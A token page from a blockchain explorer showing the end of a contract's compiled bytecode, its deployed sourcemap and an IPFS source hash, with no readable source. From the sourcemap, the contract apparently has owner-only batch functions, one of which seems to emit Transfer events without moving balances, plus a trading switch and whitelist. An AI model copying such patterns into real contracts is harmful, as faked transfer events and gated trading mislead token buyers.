7160e01b5f52601160045260245ffd5b600181815b80851115610c8457815f1904821115610c6a57610c6a610c36565b80851615610c7757918102915b93841c9390800290610c4f565b509250929050565b5f82610c9a5750600161036e565b81610ca657505f61036e565b8160018114610cbc5760028114610cc657610ce2565b600191505061036e565b60ff841115610cd757610cd7610c36565b50506001821b61036e565b5060208310610133831016604e8410600b8410161715610d05575081810a61036e565b610d0f8383610c4a565b805f1904821115610d2257610d22610c36565b029392505050565b5f610b9b60ff841683610c8c565b808202811582820484141761036e5761036e610c36565b8082018082111561036e5761036e610c3656fea26469706673582212209f71260f0540c19eeda0b50471e0a642474351f75a875c51372e2f001ad3d70a64736f6c63430008190033

Deployed Bytecode Sourcemap

8759:2887:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4436:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5303:190;;;;;;:::i;:::-;;:::i;:::-;;;1039:14:1;;1032:22;1014:41;;1002:2;987:18;5303:190:0;874:187:1;10549:75:0;;;:::i;:::-;;8865:41;;;;;;;;-1:-1:-1;;;;;8865:41:0;;;;;;-1:-1:-1;;;;;1256:32:1;;;1238:51;;1226:2;1211:18;8865:41:0;1066:229:1;4730:99:0;4809:12;;4730:99;;;1446:25:1;;;1434:2;1419:18;4730:99:0;1300:177:1;5501:249:0;;;;;;:::i;:::-;;:::i;4638:84::-;;;4712:2;1957:36:1;;1945:2;1930:18;4638:84:0;1815:184:1;10246:295:0;;;;;;:::i;:::-;;:::i;9191:38::-;;;;;;4837:118;;;;;;:::i;:::-;-1:-1:-1;;;;;4929:18:0;4902:7;4929:18;;;;;;;;;;;;4837:118;1363:103;;;:::i;1094:87::-;1167:6;;-1:-1:-1;;;;;1167:6:0;1094:87;;4535:95;;;:::i;8913:19::-;;;;;-1:-1:-1;;;;;8913:19:0;;;4963:182;;;;;;:::i;:::-;;:::i;10632:127::-;;;;;;:::i;:::-;;:::i;9902:336::-;;;;;;:::i;:::-;;:::i;5153:142::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5260:18:0;;;5233:7;5260:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5153:142;1474:220;;;;;;:::i;:::-;;:::i;4436:91::-;4481:13;4514:5;4507:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4436:91;:::o;5303:190::-;5376:4;306:10;5432:31;306:10;5448:7;5457:5;5432:8;:31::i;:::-;5481:4;5474:11;;;5303:190;;;;;:::o;10549:75::-;1053:13;:11;:13::i;:::-;10598:11:::1;:18:::0;;-1:-1:-1;;10598:18:0::1;10612:4;10598:18;::::0;;10549:75::o;5501:249::-;5588:4;306:10;5646:37;5662:4;306:10;5677:5;5646:15;:37::i;:::-;5694:26;5704:4;5710:2;5714:5;5694:9;:26::i;:::-;-1:-1:-1;5738:4:0;;5501:249;-1:-1:-1;;;;5501:249:0:o;10246:295::-;1167:6;;-1:-1:-1;;;;;1167:6:0;306:10;10376:23;10368:32;;;;;;10416:9;10411:123;10431:13;;;10411:123;;;10466:56;10480:4;10486:2;;10489:1;10486:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;10501:20;4712:2;10501;:20;:::i;:::-;10493:28;;:6;:28;:::i;:::-;10466:13;:56::i;:::-;10446:3;;10411:123;;;;10246:295;;;;:::o;1363:103::-;1053:13;:11;:13::i;:::-;1428:30:::1;1455:1;1428:18;:30::i;:::-;1363:103::o:0;4535:95::-;4582:13;4615:7;4608:14;;;;;:::i;4963:182::-;5032:4;306:10;5088:27;306:10;5105:2;5109:5;5088:9;:27::i;10632:127::-;1053:13;:11;:13::i;:::-;10696:55:::1;10732:10;10744:6;10696:35;:55::i;:::-;10632:127:::0;:::o;9902:336::-;1167:6;;-1:-1:-1;;;;;1167:6:0;306:10;10040:23;10032:32;;;;;;10075:12;:21;;;10112:9;10107:124;10127:13;;;10107:124;;;10182:2;;10185:1;10182:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10167:52:0;10176:4;-1:-1:-1;;;;;10167:52:0;;10202:16;4712:2;;4638:84;10202:16;10198:20;;:2;:20;:::i;:::-;10189:29;;:6;:29;:::i;:::-;10167:52;;1446:25:1;;;1434:2;1419:18;10167:52:0;;;;;;;10142:3;;10107:124;;1474:220;1053:13;:11;:13::i;:::-;-1:-1:-1;;;;;1559:22:0;::::1;1555:93;;1605:31;::::0;-1:-1:-1;;;1605:31:0;;1633:1:::1;1605:31;::::0;::::1;1238:51:1::0;1211:18;;1605:31:0::1;;;;;;;;1555:93;1658:28;1677:8;1658:18;:28::i;7250:130::-:0;7335:37;7344:5;7351:7;7360:5;7367:4;7335:8;:37::i;:::-;7250:130;;;:::o;1189:166::-;1167:6;;-1:-1:-1;;;;;1167:6:0;306:10;1249:23;1245:103;;1296:40;;-1:-1:-1;;;1296:40:0;;306:10;1296:40;;;1238:51:1;1211:18;;1296:40:0;1066:229:1;7839:487:0;-1:-1:-1;;;;;5260:18:0;;;7939:24;5260:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;8006:37:0;;8002:317;;8083:5;8064:16;:24;8060:132;;;8116:60;;-1:-1:-1;;;8116:60:0;;-1:-1:-1;;;;;6034:32:1;;8116:60:0;;;6016:51:1;6083:18;;;6076:34;;;6126:18;;;6119:34;;;5989:18;;8116:60:0;5814:345:1;8060:132:0;8235:57;8244:5;8251:7;8279:5;8260:16;:24;8286:5;8235:8;:57::i;:::-;7928:398;7839:487;;;:::o;5758:308::-;-1:-1:-1;;;;;5842:18:0;;5838:88;;5884:30;;-1:-1:-1;;;5884:30:0;;5911:1;5884:30;;;1238:51:1;1211:18;;5884:30:0;1066:229:1;5838:88:0;-1:-1:-1;;;;;5940:16:0;;5936:88;;5980:32;;-1:-1:-1;;;5980:32:0;;6009:1;5980:32;;;1238:51:1;1211:18;;5980:32:0;1066:229:1;5936:88:0;6034:24;6042:4;6048:2;6052:5;6034:7;:24::i;6074:730::-;-1:-1:-1;;;;;6164:18:0;;6160:369;;6215:5;6199:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;6160:369:0;;-1:-1:-1;6160:369:0;;-1:-1:-1;;;;;6275:15:0;;6253:19;6275:15;;;;;;;;;;;6309:19;;;6305:117;;;6356:50;;-1:-1:-1;;;6356:50:0;;-1:-1:-1;;;;;6034:32:1;;6356:50:0;;;6016:51:1;6083:18;;;6076:34;;;6126:18;;;6119:34;;;5989:18;;6356:50:0;5814:345:1;6305:117:0;-1:-1:-1;;;;;6465:15:0;;:9;:15;;;;;;;;;;6483:19;;;;6465:37;;6160:369;-1:-1:-1;;;;;6545:16:0;;6541:213;;6607:12;:21;;;;;;;6541:213;;;-1:-1:-1;;;;;6705:13:0;;:9;:13;;;;;;;;;;:22;;;;;;6541:213;6786:2;-1:-1:-1;;;;;6771:25:0;6780:4;-1:-1:-1;;;;;6771:25:0;;6790:5;6771:25;;;;1446::1;;1434:2;1419:18;;1300:177;6771:25:0;;;;;;;;6074:730;;;:::o;1702:191::-;1795:6;;;-1:-1:-1;;;;;1812:17:0;;;-1:-1:-1;;;;;;1812:17:0;;;;;;;1845:40;;1795:6;;;1812:17;1795:6;;1845:40;;1776:16;;1845:40;1765:128;1702:191;:::o;8334:418::-;8444:1;8435:6;:10;8427:55;;;;-1:-1:-1;;;8427:55:0;;6496:2:1;8427:55:0;;;6478:21:1;;;6515:18;;;6508:30;6574:34;6554:18;;;6547:62;6626:18;;8427:55:0;6294:356:1;8427:55:0;8493:13;8552:18;;;8591:4;8584:28;;;8661:4;8646:20;;;8705:19;;8701:32;;;8680:54;;8334:418::o;7388:443::-;-1:-1:-1;;;;;7501:19:0;;7497:91;;7544:32;;-1:-1:-1;;;7544:32:0;;7573:1;7544:32;;;1238:51:1;1211:18;;7544:32:0;1066:229:1;7497:91:0;-1:-1:-1;;;;;7602:21:0;;7598:92;;7647:31;;-1:-1:-1;;;7647:31:0;;7675:1;7647:31;;;1238:51:1;1211:18;;7647:31:0;1066:229:1;7598:92:0;-1:-1:-1;;;;;7700:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;7746:78;;;;7797:7;-1:-1:-1;;;;;7781:31:0;7790:5;-1:-1:-1;;;;;7781:31:0;;7806:5;7781:31;;;;1446:25:1;;1434:2;1419:18;;1300:177;7781:31:0;;;;;;;;7388:443;;;;:::o;10767:876::-;10902:9;10892:20;;;;:9;:20;;;;;;;;10888:748;;;10929:30;10943:4;10949:2;10953:5;10929:13;:30::i;10888:748::-;11021:11;;;;11013:36;;;;-1:-1:-1;;;11013:36:0;;6857:2:1;11013:36:0;;;6839:21:1;6896:2;6876:18;;;6869:30;-1:-1:-1;;;6915:18:1;;;6908:42;6967:18;;11013:36:0;6655:336:1;11013:36:0;11084:4;;11064:10;;-1:-1:-1;;;;;11078:10:0;;;11084:4;;11078:10;11077:27;;11099:5;11077:27;;;11092:4;11077:27;11064:40;;11123:5;11119:506;;;11167:12;;11153:11;:26;11149:104;;;11204:29;;-1:-1:-1;;;11204:29:0;;7198:2:1;11204:29:0;;;7180:21:1;7237:2;7217:18;;;7210:30;-1:-1:-1;;;7256:18:1;;;7249:49;7315:18;;11204:29:0;6996:343:1;11149:104:0;11271:30;11285:4;11291:2;11295:5;11271:13;:30::i;11119:506::-;11353:5;11348:277;;11379:30;11393:4;11399:2;11403:5;11379:13;:30::i;11348:277::-;11468:4;;-1:-1:-1;;;;;11460:12:0;;;11468:4;;11460:12;;;;:26;;-1:-1:-1;11482:4:0;;-1:-1:-1;;;;;11476:10:0;;;11482:4;;11476:10;;11460:26;11456:169;;;11507:30;11521:4;11527:2;11531:5;11507:13;:30::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:254::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;859:2;844:18;;;;831:32;;-1:-1:-1;;;615:254:1:o;1482:328::-;1559:6;1567;1575;1628:2;1616:9;1607:7;1603:23;1599:32;1596:52;;;1644:1;1641;1634:12;1596:52;1667:29;1686:9;1667:29;:::i;:::-;1657:39;;1715:38;1749:2;1738:9;1734:18;1715:38;:::i;:::-;1705:48;;1800:2;1789:9;1785:18;1772:32;1762:42;;1482:328;;;;;:::o;2004:757::-;2108:6;2116;2124;2132;2185:2;2173:9;2164:7;2160:23;2156:32;2153:52;;;2201:1;2198;2191:12;2153:52;2224:29;2243:9;2224:29;:::i;:::-;2214:39;;2304:2;2293:9;2289:18;2276:32;2327:18;2368:2;2360:6;2357:14;2354:34;;;2384:1;2381;2374:12;2354:34;2422:6;2411:9;2407:22;2397:32;;2467:7;2460:4;2456:2;2452:13;2448:27;2438:55;;2489:1;2486;2479:12;2438:55;2529:2;2516:16;2555:2;2547:6;2544:14;2541:34;;;2571:1;2568;2561:12;2541:34;2624:7;2619:2;2609:6;2606:1;2602:14;2598:2;2594:23;2590:32;2587:45;2584:65;;;2645:1;2642;2635:12;2584:65;2004:757;;2676:2;2668:11;;;;;-1:-1:-1;2698:6:1;;2751:2;2736:18;2723:32;;-1:-1:-1;2004:757:1;-1:-1:-1;;;2004:757:1:o;2766:186::-;2825:6;2878:2;2866:9;2857:7;2853:23;2849:32;2846:52;;;2894:1;2891;2884:12;2846:52;2917:29;2936:9;2917:29;:::i;:::-;2907:39;2766:186;-1:-1:-1;;;2766:186:1:o;3165:180::-;3224:6;3277:2;3265:9;3256:7;3252:23;3248:32;3245:52;;;3293:1;3290;3283:12;3245:52;-1:-1:-1;3316:23:1;;3165:180;-1:-1:-1;3165:180:1:o;3350:260::-;3418:6;3426;3479:2;3467:9;3458:7;3454:23;3450:32;3447:52;;;3495:1;3492;3485:12;3447:52;3518:29;3537:9;3518:29;:::i;:::-;3508:39;;3566:38;3600:2;3589:9;3585:18;3566:38;:::i;:::-;3556:48;;3350:260;;;;;:::o;3615:380::-;3694:1;3690:12;;;;3737;;;3758:61;;3812:4;3804:6;3800:17;3790:27;;3758:61;3865:2;3857:6;3854:14;3834:18;3831:38;3828:161;;3911:10;3906:3;3902:20;3899:1;3892:31;3946:4;3943:1;3936:15;3974:4;3971:1;3964:15;3828:161;;3615:380;;;:::o;4000:127::-;4061:10;4056:3;4052:20;4049:1;4042:31;4092:4;4089:1;4082:15;4116:4;4113:1;4106:15;4132:127;4193:10;4188:3;4184:20;4181:1;4174:31;4224:4;4221:1;4214:15;4248:4;4245:1;4238:15;4264:416;4353:1;4390:5;4353:1;4404:270;4425:7;4415:8;4412:21;4404:270;;;4484:4;4480:1;4476:6;4472:17;4466:4;4463:27;4460:53;;;4493:18;;:::i;:::-;4543:7;4533:8;4529:22;4526:55;;;4563:16;;;;4526:55;4642:22;;;;4602:15;;;;4404:270;;;4408:3;4264:416;;;;;:::o;4685:806::-;4734:5;4764:8;4754:80;;-1:-1:-1;4805:1:1;4819:5;;4754:80;4853:4;4843:76;;-1:-1:-1;4890:1:1;4904:5;;4843:76;4935:4;4953:1;4948:59;;;;5021:1;5016:130;;;;4928:218;;4948:59;4978:1;4969:10;;4992:5;;;5016:130;5053:3;5043:8;5040:17;5037:43;;;5060:18;;:::i;:::-;-1:-1:-1;;5116:1:1;5102:16;;5131:5;;4928:218;;5230:2;5220:8;5217:16;5211:3;5205:4;5202:13;5198:36;5192:2;5182:8;5179:16;5174:2;5168:4;5165:12;5161:35;5158:77;5155:159;;;-1:-1:-1;5267:19:1;;;5299:5;;5155:159;5346:34;5371:8;5365:4;5346:34;:::i;:::-;5416:6;5412:1;5408:6;5404:19;5395:7;5392:32;5389:58;;;5427:18;;:::i;:::-;5465:20;;4685:806;-1:-1:-1;;;4685:806:1:o;5496:140::-;5554:5;5583:47;5624:4;5614:8;5610:19;5604:4;5583:47;:::i;5641:168::-;5714:9;;;5745;;5762:15;;;5756:22;;5742:37;5732:71;;5783:18;;:::i;6164:125::-;6229:9;;;6250:10;;;6247:36;;;6263:18;;:::i

Swarm Source

ipfs://9f71260f0540c19eeda0b50471e0a642474351f75a875c51372e2f001ad3d70a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.